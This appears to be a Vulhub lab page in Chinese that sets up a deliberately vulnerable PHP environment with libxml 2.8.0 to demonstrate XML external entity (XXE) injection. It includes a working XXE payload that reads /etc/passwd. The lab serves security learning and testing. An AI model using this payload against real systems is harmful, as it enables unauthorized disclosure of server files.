PHP環境 XML外部實體注入漏洞(XXE)
Path php/php_xxe
環境介紹:
- PHP 7.0.30
- libxml 2.8.0
libxml2.9.0以后,默認不解析外部實體,導致XXE漏洞逐漸消亡。為了演示PHP環境下的XXE漏洞,本例會將libxml2.8.0版本編譯進PHP中。PHP版本并不影響XXE利用。
使用如下命令編譯并啟動環境:
docker-compose up -d
環境啟動后,訪問http://your-ip:8080/index.php即可看到phpinfo,搜索libxml即可看到其版本為2.8.0。
Web目錄為./www,其中包含4個文件:
$ tree .
.
├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement類解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函數解析body
dom.php、SimpleXMLElement.php、simplexml_load_string.php均可觸發XXE漏洞,具體輸出點請閱讀這三個文件的代碼。
Simple XXE Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
輸出:

更多高級利用方法,請自行探索。
Vulhub 文檔
推薦文章: